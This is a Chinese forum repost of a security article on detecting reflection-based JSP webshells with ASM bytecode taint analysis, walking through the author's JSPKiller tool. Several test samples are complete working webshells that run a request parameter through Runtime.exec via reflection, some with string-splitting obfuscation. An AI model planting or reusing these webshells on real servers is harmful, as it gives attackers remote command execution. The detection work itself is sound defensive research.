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本帖最后由 Delina 于 2021-12-13 20:20 编辑
原文链接:基于污点分析的JSP Webshell检测
该文章首发于先知社区:https://xz.aliyun.com/t/10622
0x00 前言
在11月初,我做了一些JSP Webshell的免杀研究,主要参考了三梦师傅开源的代码。然后加入了一些代码混淆手段,编写了一个免杀马生成器JSPHorse,没想到在Github上已收获500+的Star
做安全只懂攻击不够,还应该懂防御
之前只做了一些免杀方面的事情,欠缺了防御方面的思考
于是我尝试自己做一个JSP Webshell的检测工具,主要原理是ASM做字节码分析并模拟执行,分析栈帧(JVM Stack Frame)得到结果
只输入一个JSP文件即可进行这一系列的分析,大致需要以下四步
- 解析输入的JSP文件转成Java代码文件
- 使用ToolProvider获得JavaCompiler动态编译Java代码
- 编译后得到的字节码用ASM进行分析
- 基于ASM模拟栈帧的变化实现污点分析
 
类似之前写的工具CodeInspector,不过它是半成品只能理论上的学习研究,而这个工具是可以落地进行实际的检测,下面给大家展示下检测效果
0x01 效果
时间原因只做了针对于反射型JSP Webshell的检测
效果还是不错的,各种变形都可以轻松检测出
关于反射马的讲解,可以看我在B站做的视频:https://www.bilibili.com/video/BV1L341147od
来个基本的反射马:1.jsp
- <%@ page language="java" pageEncoding="UTF-8" %>
- <%
- String cmd = request.getParameter("cmd");
- Class rt = Class.forName("java.lang.Runtime");
- java.lang.reflect.Method gr = rt.getMethod("getRuntime");
- java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
- Process process = (Process) ex.invoke(gr.invoke(null), cmd);
- java.io.InputStream in = process.getInputStream();
- out.print("<pre>");
- java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
- java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
- String s = null;
- while ((s = stdInput.readLine()) != null) {
- out.println(s);
- }
- out.print("</pre>");
- %>
复制代码
查出是Webshell
如果把字符串给拆出来:2.jsp
- <%@ page language="java" pageEncoding="UTF-8" %>
- <%
- String cmd = request.getParameter("cmd");
- String name = "java.lang.Runtime";
- Class rt = Class.forName(name);
- String runtime = "getRuntime";
- java.lang.reflect.Method gr = rt.getMethod(runtime);
- java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
- Object obj = gr.invoke(null);
- Process process = (Process) ex.invoke(obj, cmd);
- java.io.InputStream in = process.getInputStream();
- out.print("<pre>");
- java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
- java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
- String s = null;
- while ((s = stdInput.readLine()) != null) {
- out.println(s);
- }
- out.print("</pre>");
- %>
复制代码
查出是Webshell
 
进一步变化,拆开字符串:3.jsp
- <%@ page language="java" pageEncoding="UTF-8" %>
- <%
- String cmd = request.getParameter("cmd");
- String name = "java.lang."+"Runtime";
- Class rt = Class.forName(name);
- String runtime = "getRu"+"ntime";
- java.lang.reflect.Method gr = rt.getMethod(runtime);
- String exec = "ex"+"ec";
- java.lang.reflect.Method ex = rt.getMethod(exec, String.class);
- Object obj = gr.invoke(null);
- Process process = (Process) ex.invoke(obj, cmd);
- java.io.InputStream in = process.getInputStream();
- out.print("<pre>");
- java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
- java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
- String s = null;
- while ((s = stdInput.readLine()) != null) {
- out.println(s);
- }
- out.print("</pre>");
- %>
复制代码
或者合并成一行- Process process = (Process) Class.forName("java.lang.Runtime")
- .getMethod("exec", String.class)
- .invoke(Class.forName("java.lang.Runtime")
- .getMethod("getRuntime").invoke(null), cmd);
- java.io.InputStream in = process.getInputStream();
复制代码
都可以查出是Webshell
如果是正常逻辑,和执行命令无关:4.jsp
- <%@ page language="java" pageEncoding="UTF-8" %>
- <%
- String cmd = request.getParameter("cmd");
- Class rt = Class.forName("java.lang.String");
- java.lang.reflect.Method gr = rt.getMethod("getBytes");
- java.lang.reflect.Method ex = rt.getMethod("getBytes");
- Process process = (Process) ex.invoke(gr.invoke(null), cmd);
- java.io.InputStream in = process.getInputStream();
- out.print("<pre>");
- java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
- java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
- String s = null;
- while ((s = stdInput.readLine()) != null) {
- out.println(s);
- }
- out.print("</pre>");
- %>
复制代码
那么不会存在误报 
0x03 JSP处理
第一步我们需要把输入的JSP转为Java代码,之所以这样做因为JSP无法直接变成字节码
原理其实简单:造一个模板类,把JSP的<% xxx %>中的xxx填入模板
模板如下,简单取了三个JSP中常用的变量放入参数
- package org.sec;
- import javax.servlet.http.HttpServletRequest;
- import javax.servlet.http.HttpServletResponse;
- import java.io.PrintWriter;
- @SuppressWarnings("unchecked")
- public class Webshell {
- public static void invoke(HttpServletRequest request,
- HttpServletResponse response,
- PrintWriter out) {
- try {
- __WEBSHELL__
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- }
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简单做了一下解析,可能会存在BUG但在当前的情景下完全够用- byte[] jspBytes = Files.readAllBytes(path);
- String jspCode = new String(jspBytes);
- // 置空为了后续分割字符串
- jspCode = jspCode.replace("<%@", "");
- // 得到<% xxx %>的xxx
- String tempCode = jspCode.split("<%")[1];
- String finalJspCode = tempCode.split("%>")[0];
- // 从Resource里读出模板
- InputStream inputStream = Main.class.getClassLoader().getResourceAsStream("Webshell.java");
- if (inputStream == null) {
- logger.error("read template error");
- return;
- }
- // 读InputStream
- StringBuilder resultBuilder = new StringBuilder();
- InputStreamReader ir = new InputStreamReader(inputStream);
- BufferedReader reader = new BufferedReader(ir);
- String lineTxt = null;
- while ((lineTxt = reader.readLine()) != null) {
- resultBuilder.append(lineTxt).append("\n");
- }
- ir.close();
- reader.close();
- // 替换模板文件
- String templateCode = resultBuilder.toString();
- String finalCode = templateCode.replace("__WEBSHELL__", finalJspCode);
- // 使用了google-java-format库做了下代码格式化
- // 仅仅为了好看,没有功能上的影响
- String formattedCode = new Formatter().formatSource(finalCode);
- // 写入文件
- Files.write(Paths.get("Webshell.java"), formattedCode.getBytes(StandardCharsets.UTF_8));
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上面代码有一处坑:想从打包后的Jar的Resource里读东西必须用getResourceAsStream,如果用URI的方式会报错。另外这里用Main.class.getClassLoader()是为了读到classes根目录经过处理后JSP变成这样的代码,可以使用Javac命令手动编译
- package org.sec;
- import javax.servlet.http.HttpServletRequest;
- import javax.servlet.http.HttpServletResponse;
- import java.io.PrintWriter;
- @SuppressWarnings("unchecked")
- public class Webshell {
- public static void invoke(
- HttpServletRequest request, HttpServletResponse response, PrintWriter out) {
- try {
- String cmd = request.getParameter("cmd");
- Class rt = Class.forName("java.lang.Runtime");
- java.lang.reflect.Method gr = rt.getMethod("getRuntime");
- java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
- Process process = (Process) ex.invoke(gr.invoke(null), cmd);
- java.io.InputStream in = process.getInputStream();
- out.print("<pre>");
- java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
- java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
- String s = null;
- while ((s = stdInput.readLine()) != null) {
- out.println(s);
- }
- out.print("</pre>");
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- }
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0x04 动态编译
手动编译的时候其实有一个坑:系统不包含servlet相关的库,所以会报错
这个好解决,只需要一个参数javac Webshell.java -cp javax.servlet-api.jar
在网上查了下如何动态编译,这个代码还是比较多的
但都没有设置参数,我们情况特殊需要classpath参数,最终看官方文档得到了答案
- JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
- StandardJavaFileManager fileManager = compiler.getStandardFileManager(
- null, null, null);
- Iterable<? extends JavaFileObject> compilationUnits = fileManager.getJavaFileObjects(
- new File("Webshell.java"));
- // 加入参数
- List<String> optionList = new ArrayList<>();
- optionList.add("-classpath");
- optionList.add("lib.jar");
- // 不需要打印多余的东西
- optionList.add("-nowarn");
- JavaCompiler.CompilationTask task = compiler.getTask(null, fileManager,
- null, optionList, null, compilationUnits);
- task.call();
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通过以上的代码会得到一个Webshell.class的字节码文件,这就是我们真正需要的东西这里同样有一个坑:ToolProvider.getSystemJavaCompiler()这句话在java -jar xxx.jara的情况下是空指针,通过查询解决办法,发现需要在JDK/JRE的lib加入tools.jar并且将环境变量配到JDK/bin而不是JDK/JRE/bin或JRE/bin
当我们动态编译Webshell.java到Webshell.class后,读取字节码到内存中,就可以删除这两个临时文件了
- byte[] classData = Files.readAllBytes(Paths.get("Webshell.class"));
- Files.delete(Paths.get("Webshell.class"));
- Files.delete(Paths.get("Webshell.java"));
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0x05 模拟栈帧
JVM在每次方法调用均会创建一个对应的Frame,方法执行完毕或者异常终止,Frame被销毁
而每个Frame的结构如下,主要由本地变量数组(local variables)和操作栈(operand stack)组成
局部变量表所需的容量大小是在编译期确定下来的,表中的变量只在当前方法调用中有效
JVM把操作数栈作为它的工作区——大多数指令都要从这里弹出数据,执行运算,然后把结果压回操作数栈
参考我在Github的代码,该类构造了Operand Stack和Local Variables Array并模拟操作
在用ASM技术解析class文件的时候,模拟他们在JVM中执行的过程,实现数据流分析
 
使用代码模拟两大数据结构
- public void visitCode() {
- super.visitCode();
- localVariables.clear();
- operandStack.clear();
- if ((this.access & Opcodes.ACC_STATIC) == 0) {
- localVariables.add(new HashSet<>());
- }
- for (Type argType : Type.getArgumentTypes(desc)) {
- for (int i = 0; i < argType.getSize(); i++) {
- localVariables.add(new HashSet<>());
- }
- }
- }
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在进入方法的时候,JVM会初始化这两大数据结构- public void visitCode() {
- super.visitCode();
- localVariables.clear();
- operandStack.clear();
- if ((this.access & Opcodes.ACC_STATIC) == 0) {
- localVariables.add(new HashSet<>());
- }
- for (Type argType : Type.getArgumentTypes(desc)) {
- for (int i = 0; i < argType.getSize(); i++) {
- localVariables.add(new HashSet<>());
- }
- }
- }
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在方法执行的时候,对这两种数据结构进行POP/PUSH等操作,随便选了其中一部分供参考- @Override
- public void visitInsn(int opcode) {
- Set<T> saved0, saved1, saved2, saved3;
- sanityCheck();
- switch (opcode) {
- case Opcodes.NOP:
- break;
- case Opcodes.ACONST_NULL:
- case Opcodes.ICONST_M1:
- case Opcodes.ICONST_0:
- case Opcodes.ICONST_1:
- case Opcodes.ICONST_2:
- case Opcodes.ICONST_3:
- case Opcodes.ICONST_4:
- case Opcodes.ICONST_5:
- case Opcodes.FCONST_0:
- case Opcodes.FCONST_1:
- case Opcodes.FCONST_2:
- operandStack.push();
- break;
- case Opcodes.LCONST_0:
- case Opcodes.LCONST_1:
- case Opcodes.DCONST_0:
- case Opcodes.DCONST_1:
- operandStack.push();
- operandStack.push();
- break;
- case Opcodes.IALOAD:
- case Opcodes.FALOAD:
- case Opcodes.AALOAD:
- case Opcodes.BALOAD:
- case Opcodes.CALOAD:
- case Opcodes.SALOAD:
- operandStack.pop();
- operandStack.pop();
- operandStack.push();
- ......
- }
- }
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为什么能够这样操作,参考Oracle的JVM指令文档:官方文档上文其实略枯燥,接下来结合实例和大家画图分析,这将会一目了然
0x06 检测实现
新建一个ClassVisitor用于分析字节码,以下这三部是ASM规定的分析字节码方式
- ClassReader cr = new ClassReader(classData);
- ReflectionShellClassVisitor cv = new ReflectionShellClassVisitor();
- cr.accept(cv, ClassReader.EXPAND_FRAMES);
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大家需要注意ASM是观察者模式,需要理解阻断和传递的思想其实ReflectionShellClassVisitor不是重点,因为我们的JSP Webshell逻辑都写在Webshell.invoke方法中,所以检测逻辑在ReflectionShellMethodAdapter类中
- // 继承自ClassVisitor
- public class ReflectionShellClassVisitor extends ClassVisitor {
- private String name;
- private String signature;
- private String superName;
- private String[] interfaces;
- public ReflectionShellClassVisitor() {
- // 基于JDK8做解析
- super(Opcodes.ASM8);
- }
- @Override
- public void visit(int version, int access, String name, String signature,
- String superName, String[] interfaces) {
- super.visit(version, access, name, signature, superName, interfaces);
- // 当前类目描述符父类名等信息有可能用到
- this.name = name;
- this.signature = signature;
- this.superName = superName;
- this.interfaces = interfaces;
- }
- @Override
- public MethodVisitor visitMethod(int access, String name, String descriptor,
- String signature, String[] exceptions) {
- MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
- // 不用关注构造方法只分析invoke方法即可
- if (name.equals("invoke")) {
- // 稍后分析该类
- ReflectionShellMethodAdapter reflectionShellMethodAdapter = new ReflectionShellMethodAdapter(
- Opcodes.ASM8,
- mv, this.name, access, name, descriptor, signature, exceptions,
- analysisData
- );
- // 出于兼容性的考虑向后传递
- return new JSRInlinerAdapter(reflectionShellMethodAdapter,
- access, name, descriptor, signature, exceptions);
- }
- return mv;
- }
- }
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重点放在ReflectionShellMethodAdapter类
首先我们要确认可控参数,也就是污点分析里的Source,不难得出来自于request.getParameter
这一步的字节码如下
- ALOAD 0
- LDC "cmd"
- INVOKEINTERFACE javax/servlet/http/HttpServletRequest.getParameter (Ljava/lang/String;)Ljava/lang/String; (itf)
- ASTORE 3
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这四步过程如下:- 调用方法非STATIC所以需要压栈一个this对象
- 方法执行时弹出参数,方法执行后栈顶是返回值保存至局部变量表
 
我们可以在INVOKEINTERFACE的时候编写如下代码
- @Override
- public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
- if (opcode == Opcodes.INVOKEINTERFACE) {
- // 是否符合request.getParameter()调用
- boolean getParam = name.equals("getParameter") &&
- owner.equals("javax/servlet/http/HttpServletRequest") &&
- desc.equals("(Ljava/lang/String;)Ljava/lang/String;");
- if (getParam) {
- // 注意一定先让父类模拟弹栈调用操作,模拟完栈顶是返回值
- super.visitMethodInsn(opcode, owner, name, desc, itf);
- logger.info("find source: request.getParameter");
- // 给这个栈顶设置个flag:get-param以便于后续跟踪
- operandStack.get(0).add("get-param");
- return;
- }
- }
- }
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接下来看反射的第一句Class.forName("java.lang.Runtime")- LDC "java.lang.Runtime"
- INVOKESTATIC java/lang/Class.forName (Ljava/lang/String;)Ljava/lang/Class;
- ASTORE 4
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由于调用STATIC方法不需要this然后返回值保存在局部变量表第5位
这里我给反射三步的LDC分别给上自己的flag做跟踪
注意到LDC命令执行完后保存至栈顶
- @Override
- public void visitLdcInsn(Object cst) {
- if(cst.equals("java.lang.Runtime")){
- super.visitLdcInsn(cst);
- operandStack.get(0).add("ldc-runtime");
- return;
- }
- if(cst.equals("getRuntime")){
- super.visitLdcInsn(cst);
- operandStack.get(0).add("ldc-get-runtime");
- return;
- }
- if(cst.equals("exec")){
- super.visitLdcInsn(cst);
- operandStack.get(0).add("ldc-exec");
- return;
- }
- super.visitLdcInsn(cst);
- }
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下一句rt.getMethod("getRuntime")稍微复杂
- ALOAD 4
- LDC "getRuntime"
- ICONST_0
- ANEWARRAY java/lang/Class
- INVOKEVIRTUAL java/lang/Class.getMethod (Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
- ASTORE 5
复制代码
中间主要是多了一步ANEWARRAY操作 
这个染成黄色的过程在代码中如下
- @Override
- public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
- if(opcode==Opcodes.INVOKEVIRTUAL){
- boolean getMethod = name.equals("getMethod") &&
- owner.equals("java/lang/Class") &&
- desc.equals("(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;");
- if(getMethod){
- if(operandStack.get(1).contains("ldc-get-runtime")){
- super.visitMethodInsn(opcode, owner, name, desc, itf);
- logger.info("-> get getRuntime method");
- operandStack.get(0).add("method-get-runtime");
- return;
- }
- }
- }
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下一步是rt.getMethod("exec", String.class)和上面几乎一致,不过数组里添加了元素- ALOAD 4
- LDC "exec"
- ICONST_1
- ANEWARRAY java/lang/Class
- DUP
- ICONST_0
- LDC Ljava/lang/String;.class
- AASTORE
- INVOKEVIRTUAL java/lang/Class.getMethod (Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
- ASTORE 6
复制代码
这一步几乎重复,就不再画图了,可以看出最后保存到局部变量表第7位其中陌生的命令有DUP和AASTORE两个,暂不分析,我们在method.invoke中细说
代码中的处理类似
- @Override
- public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
- if(opcode==Opcodes.INVOKEVIRTUAL){
- boolean getMethod = name.equals("getMethod") &&
- owner.equals("java/lang/Class") &&
- desc.equals("(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;");
- if(getMethod){
- if(operandStack.get(1).contains("ldc-exec")){
- super.visitMethodInsn(opcode, owner, name, desc, itf);
- logger.info("-> get exec method");
- operandStack.get(0).add("method-exec");
- return;
- }
- }
- }
复制代码
接下来该最关键的一行了:ex.invoke(gr.invoke(null), cmd)- ALOAD 6
- ALOAD 5
- ACONST_NULL
- ICONST_0
- ANEWARRAY java/lang/Object
- INVOKEVIRTUAL java/lang/reflect/Method.invoke (Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
- ICONST_1
- ANEWARRAY java/lang/Object
- DUP
- ICONST_0
- ALOAD 3
- AASTORE
- INVOKEVIRTUAL java/lang/reflect/Method.invoke (Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
复制代码
第一步的INVOKEVIRTUAL只是得到了Runtime对象第二步的INVOKEVIRTUAL才是exec(obj,cmd)执行命令的代码
所以我们重点从第二步分析
- ICONST_1
- ANEWARRAY java/lang/Object
- DUP
- ICONST_0
- ALOAD 3
- AASTORE
- INVOKEVIRTUAL java/lang/reflect/Method.invoke (Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
复制代码
在AASTORE之前的过程如下(防止干扰栈中存在的其他元素没有画出)- 之所以要DUP正是因为AASTORE需要消耗一个数组引用
- 这里的ICONST_1代表初始化数组长度为1
 
AASTORE和INVOKE的过程如下(之前在栈中没有画出的元素都补充到)
 
注意其中的细节
- 消耗一个数组做操作实际上另一个数组引用对象也改变了,换句话说加入了cmd参数
所以我们需要手动处理下AASTORE情况以便于让参数传递下去
- @Override
- public void visitInsn(int opcode) {
- if(opcode==Opcodes.AASTORE){
- if(operandStack.get(0).contains("get-param")){
- logger.info("store request param into array");
- super.visitInsn(opcode);
- // AASTORE模拟操作之后栈顶是数组引用
- operandStack.get(0).clear();
- // 由于数组中包含了可控变量所以设置flag
- operandStack.get(0).add("get-param");
- return;
- }
- }
- super.visitInsn(opcode);
- }
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至于最后一步的判断就很简单了- @Override
- public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
- if(opcode==Opcodes.INVOKEVIRTUAL){
- boolean invoke = name.equals("invoke") &&
- owner.equals("java/lang/reflect/Method") &&
- desc.equals("(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;");
- if(invoke){
- // AASTORE中设置的参数
- if(operandStack.get(0).contains("get-param")){
- // 如果栈中第3个元素是exec的Method
- if(operandStack.get(2).contains("method-exec")){
- // 认为造成了RCE
- logger.info("find reflection webshell!");
- super.visitMethodInsn(opcode, owner, name, desc, itf);
- return;
- }
- super.visitMethodInsn(opcode, owner, name, desc, itf);
- logger.info("-> method exec invoked");
- }
- }
- }
- super.visitMethodInsn(opcode, owner, name, desc, itf);
- }
复制代码
其实栈中第2个元素也可以判断下,我简化了一些不必要的操作
0x07 总结
代码在:https://github.com/EmYiQing/JSPKiller
后续考虑加入其他的一些检测,师傅们可以试试Bypass手段哈哈
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